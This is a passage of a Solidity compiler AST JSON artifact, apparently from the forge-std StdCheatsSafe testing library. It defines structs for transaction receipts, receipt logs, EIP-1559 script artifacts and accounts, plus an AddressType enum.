3","nodes":[],"canonicalName":"StdCheatsSafe.Receipt","members":[{"constant":false,"id":3668,"mutability":"mutable","name":"blockHash","nameLocation":"3317:9:3","nodeType":"VariableDeclaration","scope":3695,"src":"3309:17:3","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":3667,"name":"bytes32","nodeType":"ElementaryTypeName","src":"3309:7:3","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"},{"constant":false,"id":3670,"mutability":"mutable","name":"blockNumber","nameLocation":"3344:11:3","nodeType":"VariableDeclaration","scope":3695,"src":"3336:19:3","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":3669,"name":"uint256","nodeType":"ElementaryTypeName","src":"3336:7:3","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":3672,"mutability":"mutable","name":"contractAddress","nameLocation":"3373:15:3","nodeType":"VariableDeclaration","scope":3695,"src":"3365:23:3","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":3671,"name":"address","nodeType":"ElementaryTypeName","src":"3365:7:3","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":3674,"mutability":"mutable","name":"cumulativeGasUsed","nameLocation":"3406:17:3","nodeType":"VariableDeclaration","scope":3695,"src":"3398:25:3","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":3673,"name":"uint256","nodeType":"ElementaryTypeName","src":"3398:7:3","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":3676,"mutability":"mutable","name":"effectiveGasPrice","nameLocation":"3441:17:3","nodeType":"VariableDeclaration","scope":3695,"src":"3433:25:3","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":3675,"name":"uint256","nodeType":"ElementaryTypeName","src":"3433:7:3","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":3678,"mutability":"mutable","name":"from","nameLocation":"3476:4:3","nodeType":"VariableDeclaration","scope":3695,"src":"3468:12:3","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":3677,"name":"address","nodeType":"ElementaryTypeName","src":"3468:7:3","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":3680,"mutability":"mutable","name":"gasUsed","nameLocation":"3498:7:3","nodeType":"VariableDeclaration","scope":3695,"src":"3490:15:3","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":3679,"name":"uint256","nodeType":"ElementaryTypeName","src":"3490:7:3","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":3684,"mutability":"mutable","name":"logs","nameLocation":"3528:4:3","nodeType":"VariableDeclaration","scope":3695,"src":"3515:17:3","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_array$_t_struct$_ReceiptLog_$3783_storage_$dyn_storage_ptr","typeString":"struct StdCheatsSafe.ReceiptLog[]"},"typeName":{"baseType":{"id":3682,"nodeType":"UserDefinedTypeName","pathNode":{"id":3681,"name":"ReceiptLog","nameLocations":["3515:10:3"],"nodeType":"IdentifierPath","referencedDeclaration":3783,"src":"3515:10:3"},"referencedDeclaration":3783,"src":"3515:10:3","typeDescriptions":{"typeIdentifier":"t_struct$_ReceiptLog_$3783_storage_ptr","typeString":"struct StdCheatsSafe.ReceiptLog"}},"id":3683,"nodeType":"ArrayTypeName","src":"3515:12:3","typeDescriptions":{"typeIdentifier":"t_array$_t_struct$_ReceiptLog_$3783_storage_$dyn_storage_ptr","typeString":"struct StdCheatsSafe.ReceiptLog[]"}},"visibility":"internal"},{"constant":false,"id":3686,"mutability":"mutable","name":"logsBloom","nameLocation":"3548:9:3","nodeType":"VariableDeclaration","scope":3695,"src":"3542:15:3","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes_storage_ptr","typeString":"bytes"},"typeName":{"id":3685,"name":"bytes","nodeType":"ElementaryTypeName","src":"3542:5:3","typeDescriptions":{"typeIdentifier":"t_bytes_storage_ptr","typeString":"bytes"}},"visibility":"internal"},{"constant":false,"id":3688,"mutability":"mutable","name":"status","nameLocation":"3575:6:3","nodeType":"VariableDeclaration","scope":3695,"src":"3567:14:3","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":3687,"name":"uint256","nodeType":"ElementaryTypeName","src":"3567:7:3","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":3690,"mutability":"mutable","name":"to","nameLocation":"3599:2:3","nodeType":"VariableDeclaration","scope":3695,"src":"3591:10:3","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":3689,"name":"address","nodeType":"ElementaryTypeName","src":"3591:7:3","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":3692,"mutability":"mutable","name":"transactionHash","nameLocation":"3619:15:3","nodeType":"VariableDeclaration","scope":3695,"src":"3611:23:3","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":3691,"name":"bytes32","nodeType":"ElementaryTypeName","src":"3611:7:3","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"},{"constant":false,"id":3694,"mutability":"mutable","name":"transactionIndex","nameLocation":"3652:16:3","nodeType":"VariableDeclaration","scope":3695,"src":"3644:24:3","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":3693,"name":"uint256","nodeType":"ElementaryTypeName","src":"3644:7:3","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"name":"Receipt","nameLocation":"3291:7:3","scope":5537,"visibility":"public"},{"id":3718,"nodeType":"StructDefinition","src":"3798:227:3","nodes":[],"canonicalName":"StdCheatsSafe.EIP1559ScriptArtifact","members":[{"constant":false,"id":3698,"mutability":"mutable","name":"libraries","nameLocation":"3846:9:3","nodeType":"VariableDeclaration","scope":3718,"src":"3837:18:3","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_array$_t_string_storage_$dyn_storage_ptr","typeString":"string[]"},"typeName":{"baseType":{"id":3696,"name":"string","nodeType":"ElementaryTypeName","src":"3837:6:3","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"id":3697,"nodeType":"ArrayTypeName","src":"3837:8:3","typeDescriptions":{"typeIdentifier":"t_array$_t_string_storage_$dyn_storage_ptr","typeString":"string[]"}},"visibility":"internal"},{"constant":false,"id":3700,"mutability":"mutable","name":"path","nameLocation":"3872:4:3","nodeType":"VariableDeclaration","scope":3718,"src":"3865:11:3","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"},"typeName":{"id":3699,"name":"string","nodeType":"ElementaryTypeName","src":"3865:6:3","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"},{"constant":false,"id":3703,"mutability":"mutable","name":"pending","nameLocation":"3895:7:3","nodeType":"VariableDeclaration","scope":3718,"src":"3886:16:3","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_array$_t_string_storage_$dyn_storage_ptr","typeString":"string[]"},"typeName":{"baseType":{"id":3701,"name":"string","nodeType":"ElementaryTypeName","src":"3886:6:3","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"id":3702,"nodeType":"ArrayTypeName","src":"3886:8:3","typeDescriptions":{"typeIdentifier":"t_array$_t_string_storage_$dyn_storage_ptr","typeString":"string[]"}},"visibility":"internal"},{"constant":false,"id":3707,"mutability":"mutable","name":"receipts","nameLocation":"3922:8:3","nodeType":"VariableDeclaration","scope":3718,"src":"3912:18:3","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_array$_t_struct$_Receipt_$3695_storage_$dyn_storage_ptr","typeString":"struct StdCheatsSafe.Receipt[]"},"typeName":{"baseType":{"id":3705,"nodeType":"UserDefinedTypeName","pathNode":{"id":3704,"name":"Receipt","nameLocations":["3912:7:3"],"nodeType":"IdentifierPath","referencedDeclaration":3695,"src":"3912:7:3"},"referencedDeclaration":3695,"src":"3912:7:3","typeDescriptions":{"typeIdentifier":"t_struct$_Receipt_$3695_storage_ptr","typeString":"struct StdCheatsSafe.Receipt"}},"id":3706,"nodeType":"ArrayTypeName","src":"3912:9:3","typeDescriptions":{"typeIdentifier":"t_array$_t_struct$_Receipt_$3695_storage_$dyn_storage_ptr","typeString":"struct StdCheatsSafe.Receipt[]"}},"visibility":"internal"},{"constant":false,"id":3709,"mutability":"mutable","name":"timestamp","nameLocation":"3948:9:3","nodeType":"VariableDeclaration","scope":3718,"src":"3940:17:3","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":3708,"name":"uint256","nodeType":"ElementaryTypeName","src":"3940:7:3","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":3713,"mutability":"mutable","name":"transactions","nameLocation":"3976:12:3","nodeType":"VariableDeclaration","scope":3718,"src":"3967:21:3","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_array$_t_struct$_Tx1559_$3562_storage_$dyn_storage_ptr","typeString":"struct StdCheatsSafe.Tx1559[]"},"typeName":{"baseType":{"id":3711,"nodeType":"UserDefinedTypeName","pathNode":{"id":3710,"name":"Tx1559","nameLocations":["3967:6:3"],"nodeType":"IdentifierPath","referencedDeclaration":3562,"src":"3967:6:3"},"referencedDeclaration":3562,"src":"3967:6:3","typeDescriptions":{"typeIdentifier":"t_struct$_Tx1559_$3562_storage_ptr","typeString":"struct StdCheatsSafe.Tx1559"}},"id":3712,"nodeType":"ArrayTypeName","src":"3967:8:3","typeDescriptions":{"typeIdentifier":"t_array$_t_struct$_Tx1559_$3562_storage_$dyn_storage_ptr","typeString":"struct StdCheatsSafe.Tx1559[]"}},"visibility":"internal"},{"constant":false,"id":3717,"mutability":"mutable","name":"txReturns","nameLocation":"4009:9:3","nodeType":"VariableDeclaration","scope":3718,"src":"3998:20:3","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_array$_t_struct$_TxReturn_$3788_storage_$dyn_storage_ptr","typeString":"struct StdCheatsSafe.TxReturn[]"},"typeName":{"baseType":{"id":3715,"nodeType":"UserDefinedTypeName","pathNode":{"id":3714,"name":"TxReturn","nameLocations":["3998:8:3"],"nodeType":"IdentifierPath","referencedDeclaration":3788,"src":"3998:8:3"},"referencedDeclaration":3788,"src":"3998:8:3","typeDescriptions":{"typeIdentifier":"t_struct$_TxReturn_$3788_storage_ptr","typeString":"struct StdCheatsSafe.TxReturn"}},"id":3716,"nodeType":"ArrayTypeName","src":"3998:10:3","typeDescriptions":{"typeIdentifier":"t_array$_t_struct$_TxReturn_$3788_storage_$dyn_storage_ptr","typeString":"struct StdCheatsSafe.TxReturn[]"}},"visibility":"internal"}],"name":"EIP1559ScriptArtifact","nameLocation":"3805:21:3","scope":5537,"visibility":"public"},{"id":3741,"nodeType":"StructDefinition","src":"4031:236:3","nodes":[],"canonicalName":"StdCheatsSafe.RawEIP1559ScriptArtifact","members":[{"constant":false,"id":3721,"mutability":"mutable","name":"libraries","nameLocation":"4082:9:3","nodeType":"VariableDeclaration","scope":3741,"src":"4073:18:3","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_array$_t_string_storage_$dyn_storage_ptr","typeString":"string[]"},"typeName":{"baseType":{"id":3719,"name":"string","nodeType":"ElementaryTypeName","src":"4073:6:3","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"id":3720,"nodeType":"ArrayTypeName","src":"4073:8:3","typeDescriptions":{"typeIdentifier":"t_array$_t_string_storage_$dyn_storage_ptr","typeString":"string[]"}},"visibility":"internal"},{"constant":false,"id":3723,"mutability":"mutable","name":"path","nameLocation":"4108:4:3","nodeType":"VariableDeclaration","scope":3741,"src":"4101:11:3","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"},"typeName":{"id":3722,"name":"string","nodeType":"ElementaryTypeName","src":"4101:6:3","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"},{"constant":false,"id":3726,"mutability":"mutable","name":"pending","nameLocation":"4131:7:3","nodeType":"VariableDeclaration","scope":3741,"src":"4122:16:3","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_array$_t_string_storage_$dyn_storage_ptr","typeString":"string[]"},"typeName":{"baseType":{"id":3724,"name":"string","nodeType":"ElementaryTypeName","src":"4122:6:3","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"id":3725,"nodeType":"ArrayTypeName","src":"4122:8:3","typeDescriptions":{"typeIdentifier":"t_array$_t_string_storage_$dyn_storage_ptr","typeString":"string[]"}},"visibility":"internal"},{"constant":false,"id":3730,"mutability":"mutable","name":"receipts","nameLocation":"4161:8:3","nodeType":"VariableDeclaration","scope":3741,"src":"4148:21:3","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_array$_t_struct$_RawReceipt_$3666_storage_$dyn_storage_ptr","typeString":"struct StdCheatsSafe.RawReceipt[]"},"typeName":{"baseType":{"id":3728,"nodeType":"UserDefinedTypeName","pathNode":{"id":3727,"name":"RawReceipt","nameLocations":["4148:10:3"],"nodeType":"IdentifierPath","referencedDeclaration":3666,"src":"4148:10:3"},"referencedDeclaration":3666,"src":"4148:10:3","typeDescriptions":{"typeIdentifier":"t_struct$_RawReceipt_$3666_storage_ptr","typeString":"struct StdCheatsSafe.RawReceipt"}},"id":3729,"nodeType":"ArrayTypeName","src":"4148:12:3","typeDescriptions":{"typeIdentifier":"t_array$_t_struct$_RawReceipt_$3666_storage_$dyn_storage_ptr","typeString":"struct StdCheatsSafe.RawReceipt[]"}},"visibility":"internal"},{"constant":false,"id":3734,"mutability":"mutable","name":"txReturns","nameLocation":"4190:9:3","nodeType":"VariableDeclaration","scope":3741,"src":"4179:20:3","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_array$_t_struct$_TxReturn_$3788_storage_$dyn_storage_ptr","typeString":"struct StdCheatsSafe.TxReturn[]"},"typeName":{"baseType":{"id":3732,"nodeType":"UserDefinedTypeName","pathNode":{"id":3731,"name":"TxReturn","nameLocations":["4179:8:3"],"nodeType":"IdentifierPath","referencedDeclaration":3788,"src":"4179:8:3"},"referencedDeclaration":3788,"src":"4179:8:3","typeDescriptions":{"typeIdentifier":"t_struct$_TxReturn_$3788_storage_ptr","typeString":"struct StdCheatsSafe.TxReturn"}},"id":3733,"nodeType":"ArrayTypeName","src":"4179:10:3","typeDescriptions":{"typeIdentifier":"t_array$_t_struct$_TxReturn_$3788_storage_$dyn_storage_ptr","typeString":"struct StdCheatsSafe.TxReturn[]"}},"visibility":"internal"},{"constant":false,"id":3736,"mutability":"mutable","name":"timestamp","nameLocation":"4217:9:3","nodeType":"VariableDeclaration","scope":3741,"src":"4209:17:3","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":3735,"name":"uint256","nodeType":"ElementaryTypeName","src":"4209:7:3","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":3740,"mutability":"mutable","name":"transactions","nameLocation":"4248:12:3","nodeType":"VariableDeclaration","scope":3741,"src":"4236:24:3","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_array$_t_struct$_RawTx1559_$3526_storage_$dyn_storage_ptr","typeString":"struct StdCheatsSafe.RawTx1559[]"},"typeName":{"baseType":{"id":3738,"nodeType":"UserDefinedTypeName","pathNode":{"id":3737,"name":"RawTx1559","nameLocations":["4236:9:3"],"nodeType":"IdentifierPath","referencedDeclaration":3526,"src":"4236:9:3"},"referencedDeclaration":3526,"src":"4236:9:3","typeDescriptions":{"typeIdentifier":"t_struct$_RawTx1559_$3526_storage_ptr","typeString":"struct StdCheatsSafe.RawTx1559"}},"id":3739,"nodeType":"ArrayTypeName","src":"4236:11:3","typeDescriptions":{"typeIdentifier":"t_array$_t_struct$_RawTx1559_$3526_storage_$dyn_storage_ptr","typeString":"struct StdCheatsSafe.RawTx1559[]"}},"visibility":"internal"}],"name":"RawEIP1559ScriptArtifact","nameLocation":"4038:24:3","scope":5537,"visibility":"public"},{"id":3763,"nodeType":"StructDefinition","src":"4273:334:3","nodes":[],"canonicalName":"StdCheatsSafe.RawReceiptLog","members":[{"constant":false,"id":3743,"mutability":"mutable","name":"logAddress","nameLocation":"4344:10:3","nodeType":"VariableDeclaration","scope":3763,"src":"4336:18:3","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":3742,"name":"address","nodeType":"ElementaryTypeName","src":"4336:7:3","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":3745,"mutability":"mutable","name":"blockHash","nameLocation":"4372:9:3","nodeType":"VariableDeclaration","scope":3763,"src":"4364:17:3","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":3744,"name":"bytes32","nodeType":"ElementaryTypeName","src":"4364:7:3","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"},{"constant":false,"id":3747,"mutability":"mutable","name":"blockNumber","nameLocation":"4397:11:3","nodeType":"VariableDeclaration","scope":3763,"src":"4391:17:3","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes_storage_ptr","typeString":"bytes"},"typeName":{"id":3746,"name":"bytes","nodeType":"ElementaryTypeName","src":"4391:5:3","typeDescriptions":{"typeIdentifier":"t_bytes_storage_ptr","typeString":"bytes"}},"visibility":"internal"},{"constant":false,"id":3749,"mutability":"mutable","name":"data","nameLocation":"4424:4:3","nodeType":"VariableDeclaration","scope":3763,"src":"4418:10:3","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes_storage_ptr","typeString":"bytes"},"typeName":{"id":3748,"name":"bytes","nodeType":"ElementaryTypeName","src":"4418:5:3","typeDescriptions":{"typeIdentifier":"t_bytes_storage_ptr","typeString":"bytes"}},"visibility":"internal"},{"constant":false,"id":3751,"mutability":"mutable","name":"logIndex","nameLocation":"4444:8:3","nodeType":"VariableDeclaration","scope":3763,"src":"4438:14:3","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes_storage_ptr","typeString":"bytes"},"typeName":{"id":3750,"name":"bytes","nodeType":"ElementaryTypeName","src":"4438:5:3","typeDescriptions":{"typeIdentifier":"t_bytes_storage_ptr","typeString":"bytes"}},"visibility":"internal"},{"constant":false,"id":3753,"mutability":"mutable","name":"removed","nameLocation":"4467:7:3","nodeType":"VariableDeclaration","scope":3763,"src":"4462:12:3","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":3752,"name":"bool","nodeType":"ElementaryTypeName","src":"4462:4:3","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"},{"constant":false,"id":3756,"mutability":"mutable","name":"topics","nameLocation":"4494:6:3","nodeType":"VariableDeclaration","scope":3763,"src":"4484:16:3","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_array$_t_bytes32_$dyn_storage_ptr","typeString":"bytes32[]"},"typeName":{"baseType":{"id":3754,"name":"bytes32","nodeType":"ElementaryTypeName","src":"4484:7:3","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"id":3755,"nodeType":"ArrayTypeName","src":"4484:9:3","typeDescriptions":{"typeIdentifier":"t_array$_t_bytes32_$dyn_storage_ptr","typeString":"bytes32[]"}},"visibility":"internal"},{"constant":false,"id":3758,"mutability":"mutable","name":"transactionHash","nameLocation":"4518:15:3","nodeType":"VariableDeclaration","scope":3763,"src":"4510:23:3","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":3757,"name":"bytes32","nodeType":"ElementaryTypeName","src":"4510:7:3","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"},{"constant":false,"id":3760,"mutability":"mutable","name":"transactionIndex","nameLocation":"4549:16:3","nodeType":"VariableDeclaration","scope":3763,"src":"4543:22:3","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes_storage_ptr","typeString":"bytes"},"typeName":{"id":3759,"name":"bytes","nodeType":"ElementaryTypeName","src":"4543:5:3","typeDescriptions":{"typeIdentifier":"t_bytes_storage_ptr","typeString":"bytes"}},"visibility":"internal"},{"constant":false,"id":3762,"mutability":"mutable","name":"transactionLogIndex","nameLocation":"4581:19:3","nodeType":"VariableDeclaration","scope":3763,"src":"4575:25:3","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes_storage_ptr","typeString":"bytes"},"typeName":{"id":3761,"name":"bytes","nodeType":"ElementaryTypeName","src":"4575:5:3","typeDescriptions":{"typeIdentifier":"t_bytes_storage_ptr","typeString":"bytes"}},"visibility":"internal"}],"name":"RawReceiptLog","nameLocation":"4280:13:3","scope":5537,"visibility":"public"},{"id":3783,"nodeType":"StructDefinition","src":"4613:306:3","nodes":[],"canonicalName":"StdCheatsSafe.ReceiptLog","members":[{"constant":false,"id":3765,"mutability":"mutable","name":"logAddress","nameLocation":"4681:10:3","nodeType":"VariableDeclaration","scope":3783,"src":"4673:18:3","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":3764,"name":"address","nodeType":"ElementaryTypeName","src":"4673:7:3","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":3767,"mutability":"mutable","name":"blockHash","nameLocation":"4709:9:3","nodeType":"VariableDeclaration","scope":3783,"src":"4701:17:3","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":3766,"name":"bytes32","nodeType":"ElementaryTypeName","src":"4701:7:3","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"},{"constant":false,"id":3769,"mutability":"mutable","name":"blockNumber","nameLocation":"4736:11:3","nodeType":"VariableDeclaration","scope":3783,"src":"4728:19:3","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":3768,"name":"uint256","nodeType":"ElementaryTypeName","src":"4728:7:3","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":3771,"mutability":"mutable","name":"data","nameLocation":"4763:4:3","nodeType":"VariableDeclaration","scope":3783,"src":"4757:10:3","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes_storage_ptr","typeString":"bytes"},"typeName":{"id":3770,"name":"bytes","nodeType":"ElementaryTypeName","src":"4757:5:3","typeDescriptions":{"typeIdentifier":"t_bytes_storage_ptr","typeString":"bytes"}},"visibility":"internal"},{"constant":false,"id":3773,"mutability":"mutable","name":"logIndex","nameLocation":"4785:8:3","nodeType":"VariableDeclaration","scope":3783,"src":"4777:16:3","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":3772,"name":"uint256","nodeType":"ElementaryTypeName","src":"4777:7:3","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":3776,"mutability":"mutable","name":"topics","nameLocation":"4813:6:3","nodeType":"VariableDeclaration","scope":3783,"src":"4803:16:3","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_array$_t_bytes32_$dyn_storage_ptr","typeString":"bytes32[]"},"typeName":{"baseType":{"id":3774,"name":"bytes32","nodeType":"ElementaryTypeName","src":"4803:7:3","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"id":3775,"nodeType":"ArrayTypeName","src":"4803:9:3","typeDescriptions":{"typeIdentifier":"t_array$_t_bytes32_$dyn_storage_ptr","typeString":"bytes32[]"}},"visibility":"internal"},{"constant":false,"id":3778,"mutability":"mutable","name":"transactionIndex","nameLocation":"4837:16:3","nodeType":"VariableDeclaration","scope":3783,"src":"4829:24:3","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":3777,"name":"uint256","nodeType":"ElementaryTypeName","src":"4829:7:3","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":3780,"mutability":"mutable","name":"transactionLogIndex","nameLocation":"4871:19:3","nodeType":"VariableDeclaration","scope":3783,"src":"4863:27:3","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":3779,"name":"uint256","nodeType":"ElementaryTypeName","src":"4863:7:3","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":3782,"mutability":"mutable","name":"removed","nameLocation":"4905:7:3","nodeType":"VariableDeclaration","scope":3783,"src":"4900:12:3","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":3781,"name":"bool","nodeType":"ElementaryTypeName","src":"4900:4:3","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"}],"name":"ReceiptLog","nameLocation":"4620:10:3","scope":5537,"visibility":"public"},{"id":3788,"nodeType":"StructDefinition","src":"4925:74:3","nodes":[],"canonicalName":"StdCheatsSafe.TxReturn","members":[{"constant":false,"id":3785,"mutability":"mutable","name":"internalType","nameLocation":"4958:12:3","nodeType":"VariableDeclaration","scope":3788,"src":"4951:19:3","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"},"typeName":{"id":3784,"name":"string","nodeType":"ElementaryTypeName","src":"4951:6:3","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"},{"constant":false,"id":3787,"mutability":"mutable","name":"value","nameLocation":"4987:5:3","nodeType":"VariableDeclaration","scope":3788,"src":"4980:12:3","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"},"typeName":{"id":3786,"name":"string","nodeType":"ElementaryTypeName","src":"4980:6:3","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"}],"name":"TxReturn","nameLocation":"4932:8:3","scope":5537,"visibility":"public"},{"id":3793,"nodeType":"StructDefinition","src":"5005:65:3","nodes":[],"canonicalName":"StdCheatsSafe.Account","members":[{"constant":false,"id":3790,"mutability":"mutable","name":"addr","nameLocation":"5038:4:3","nodeType":"VariableDeclaration","scope":3793,"src":"5030:12:3","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":3789,"name":"address","nodeType":"ElementaryTypeName","src":"5030:7:3","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":3792,"mutability":"mutable","name":"key","nameLocation":"5060:3:3","nodeType":"VariableDeclaration","scope":3793,"src":"5052:11:3","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":3791,"name":"uint256","nodeType":"ElementaryTypeName","src":"5052:7:3","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"name":"Account","nameLocation":"5012:7:3","scope":5537,"visibility":"public"},{"id":3799,"nodeType":"EnumDefinition","src":"5076:123:3","nodes":[],"canonicalName":"StdCheatsSafe.AddressType","members":[{"id":3794,"name":"Payable","nameLocation":"5103:7:3","nodeType":"EnumValue","src":"5103:7:3"},{"id":3795,"name":"NonPayable","nameLocation":"5120:10:3","nodeType":"EnumValue","src":"5120:10:3"},{"id":3796,"name":"ZeroAddress","nameLocation":"5140:11:3","nodeType":"EnumValue","src":"5140:11:3"},{"id":3797,"name":"Precompile","nameLocation":"5161:10:3","nodeType":"EnumValue","src":"5161:10:3"},{"id":3798,"name":"ForgeAddress","nameLocation":"5181:12:3","nodeType":"EnumValue","src":"5181:12:3"}],"name":"AddressType","nameLocation":"5081:11:3"},{"id